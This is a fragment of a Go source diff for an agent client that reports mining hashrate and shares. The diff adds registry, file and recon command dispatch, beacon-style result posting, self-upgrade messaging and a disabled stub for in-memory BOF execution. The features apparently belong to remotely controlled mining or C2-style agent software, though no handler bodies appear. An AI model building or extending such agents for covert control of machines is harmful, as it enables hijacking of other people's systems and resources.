|
||||||
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
|
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
|
||||||
|
case "bof_execute":
|
||||||
|
c.sendCommandResult(action, false, "bof_execute is not implemented — in-memory BOF execution is disabled for safety")
|
||||||
default:
|
default:
|
||||||
|
if c.handleRegistryCommand(action, path, data) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if c.handleFileCommand(action, path) {
|
||||||
|
return
|
||||||
|
}
|
||||||
if c.handleReconCommand(action, command) {
|
if c.handleReconCommand(action, command) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -563,9 +634,56 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
|
|||||||
"success": success,
|
"success": success,
|
||||||
"message": message,
|
"message": message,
|
||||||
})
|
})
|
||||||
|
if c.beaconMode.Load() {
|
||||||
|
c.postBeaconResult(payload)
|
||||||
|
return
|
||||||
|
}
|
||||||
_ = c.write(Message{Type: "command_result", Payload: payload})
|
_ = c.write(Message{Type: "command_result", Payload: payload})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) wsDownSinceTime() time.Time {
|
||||||
|
if v := c.wsDownSince.Load(); v != nil {
|
||||||
|
if t, ok := v.(time.Time); ok {
|
||||||
|
return t
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return time.Time{}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) markWSDownSince() {
|
||||||
|
if !c.wsDownSinceTime().IsZero() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.wsDownSince.Store(time.Now())
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) clearWSDownSince() {
|
||||||
|
c.wsDownSince.Store(time.Time{})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) collectStatsPayload() (StatsPayload, error) {
|
||||||
|
hps := c.pool.HashesPerSecond()
|
||||||
|
c.pool.ResetHashCounter()
|
||||||
|
cpuPct, memPct := c.reporter.Usage()
|
||||||
|
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
|
||||||
|
cpuPct = sysCPU
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
submitted := c.sharesSubmitted
|
||||||
|
accepted := c.sharesAccepted
|
||||||
|
c.mu.Unlock()
|
||||||
|
return StatsPayload{
|
||||||
|
Hashrate15s: hps,
|
||||||
|
Hashrate1m: hps,
|
||||||
|
Hashrate15m: hps,
|
||||||
|
SharesSubmitted: submitted,
|
||||||
|
SharesAccepted: accepted,
|
||||||
|
CPUUsagePct: cpuPct,
|
||||||
|
MemoryUsagePct: memPct,
|
||||||
|
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
func (c *AgentClient) stopSelf() {
|
func (c *AgentClient) stopSelf() {
|
||||||
time.Sleep(300 * time.Millisecond)
|
time.Sleep(300 * time.Millisecond)
|
||||||
c.pool.Stop()
|
c.pool.Stop()
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user